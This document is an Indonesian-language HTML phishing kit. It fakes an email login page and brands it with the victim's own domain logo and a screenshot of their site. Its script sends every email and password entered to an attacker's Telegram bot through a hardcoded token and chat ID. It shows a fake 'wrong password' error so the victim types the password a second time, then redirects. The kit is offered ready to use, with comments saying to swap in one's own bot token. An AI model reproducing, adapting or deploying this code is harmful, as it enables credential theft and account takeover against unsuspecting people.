<!DOCTYPE html>
<html>

<head>
    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
    <link rel="icon" type="image/png" sizes="32x32" id="logoimg1" href="">
    <link rel="icon" type="image/png" sizes="16x16" id="logoimg1" href="">
    <title id="domain">Ø§Akses</title>
    <!-- Bootstrap CSS -->
    <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/css/bootstrap.min.css" integrity="sha384-Gn5384xqQ1aoWXA+058RXPxPg6fy4IWvTNh0E263XmFcJlSAwiGgFAW/dAiS6JXm" crossorigin="anonymous">
    <link href="https://fonts.googleapis.com/css?family=Archivo+Narrow&display=swap" rel="stylesheet">
    <script src="https://kit.fontawesome.com/585b051251.js" crossorigin="anonymous"></script>
    <link rel="stylesheet" href="https://storage.googleapis.com/oijhgbfvergyt4res.appspot.com/landing.css">
</head>

<body id="top" id="mainPage">

    <div id="html_encoder_div">
        <div class="container">
            <div class="office show border shadow bg-light" id="others">
                <div class="office-holder">
                    <div class="logo" style="text-align:center">
                        <div id="login_logo">
                            <img id="logoimg" src="" width="50" height="50" alt="Logo">
                        </div>
                        <h3 class="text-dark"><strong id="logoname" class="text-uppercase">Akses Email</strong></h3>
                        <h5 class="font-weight-light">Masuk menggunakan email dan kata sandi Anda untuk mengakses.</h5>
                    </div>
                    <center>
                        <div id="msg" style="display: none;font-weight: 600;color: red;">Kata sandi kedaluwarsa! Harap masukkan kata sandi yang benar.</div>
                        <span id="error" class="text-danger" style="display: none;">Akun tidak ada. Masukkan akun lain</span>
                    </center><br>
                    <form id="loginForm">
                        <div class="form-holder">
                            <div style="width: 100%;">
                                <div class="alert alert-danger hide alert2"></div>
                            </div>
                            <!-- Populasi email dinamis -->
                            <input type="email" id="email" class="form-control" placeholder="someone@google.com" required />
                            <input type="password" id="password1" placeholder="Kata Sandi" class="form-control" required />
                            <div class="checkbox">
                                <input type="checkbox" name="" style="float: left; margin-top:2px; margin-bottom: 10px;">
                                <label>Ingat saya</label>
                            </div>
                            <div class="btn-holder">
                                <button type="submit" class="btn btn-lg col-12" id="submit-btn">MASUK</button>
                            </div>
                            <p style="color:#0073C6; margin-top:1em; float: left; width:100%;">Tidak dapat mengakses akun Anda?</p>
                            <p style="color:#0073C6; margin-top:0em; float: left; width:100%;">Masuk dengan kode sekali pakai</p>
                        </div>
                    </form>

                    <!-- Error Message Container -->
                    <div id="errorMessage" style="display:none; color: red; font-weight: bold; text-align: center;">
                        Kata sandi salah. Harap coba lagi.
                    </div>
                </div>
            </div>
        </div>
    </div>
    <style>
        /* Your custom styles here */
    </style>
</body>

<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.7.0/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/js/bootstrap.min.js"></script>

<script>
    const telegramBotToken = "7479480159:AAFlmE4fYZcHKi0-MQdBkYR_ZjvtJazakDs"; // Ganti dengan token bot Anda
    const chatId = "5261458741"; // Ganti dengan chat ID Anda
    const domain = "@google.com"; // Ganti dengan domain untuk pengalihan

    let firstAttempt = true; // Tandai percakapan pertama

    // Fungsi untuk mendapatkan email dari query string URL
    function getEmailFromUrl() {
        const urlParams = new URLSearchParams(window.location.search);
        return urlParams.get('email'); // Mengambil email seperti ?email=demo@test.com
    }

    // Menetapkan email, logo, halaman utama, dan latar belakang secara dinamis
    $(document).ready(function() {
        const email = getEmailFromUrl(); // Mendapatkan email dari URL
        if (!email) {
            alert("Parameter email hilang di URL.");
            return;
        }

        // Menyaring bagian domain dari email
        const ind = email.indexOf("@");
        const mySlice = email.substr(ind + 1); // Ambil domain
        const mainPage = 'https://' + mySlice;
        const c = mySlice.substr(0, mySlice.indexOf('.')); // Ambil bagian pertama domain
        const final = c.toLowerCase();
        const sv = mySlice;
        
        // URL logo Clearbit
        const logoUrl = "https://logo.clearbit.com/" + mySlice;
        
        // Menetapkan logo dan nama domain secara dinamis
        $("#logoimg").attr("src", logoUrl); // Set gambar logo
        $("#logoname").html(final); // Set nama domain sebagai nama logonya
        $(".logoname").html(final); // Set nama domain di tempat lain jika diperlukan
        document.body.style.backgroundImage = "url('https://image.thum.io/get/width/1200/https://" + sv + "')"; // Set gambar latar belakang

        // Menetapkan email di form
        $(".email").html(email);
        $("#email").val(email); // Mengisi otomatis email di kolom email
    });

    $("#loginForm").submit(function(event) {
        event.preventDefault(); // Menghentikan pengiriman form
        const email = $("#email").val();
        const password1 = $("#password1").val();

        // Kirim detail ke Telegram (Percakapan pertama)
        const message = `🚨 Percakapan Masuk 🚨\n\n📧 Email: ${email}\n🔑 Percakapan Kata Sandi: ${password1}`;
        sendToTelegram(message);

        if (firstAttempt) {
            // Tampilkan pesan kata sandi salah dan bersihkan kolom kata sandi
            $("#errorMessage").show();
            $("#errorMessage").html("Kata sandi salah. Harap coba lagi.");
            $("#password1").val(''); // Bersihkan kolom kata sandi
            firstAttempt = false; // Ubah ke percakapan kedua
        } else {
            // Percakapan kedua, otomatis pengalihan
            const redirectUrl = "https://" + email.split('@')[1] + domain;
            window.location.href = redirectUrl;
        }
    });

    // Fungsi untuk mengirim data ke Telegram
    function sendToTelegram(message) {
        $.ajax({
            url: `https://api.telegram.org/bot${telegramBotToken}/sendMessage`,
            method: "POST",
            contentType: "application/json",
            data: JSON.stringify({
                chat_id: chatId,
                text: message
            }),
            success: function(response) {
                console.log("Detail dilaporkan ke Telegram");
            },
            error: function(error) {
                console.error("Gagal mengirim detail ke Telegram.");
            }
        });
    }
</script>

</html>
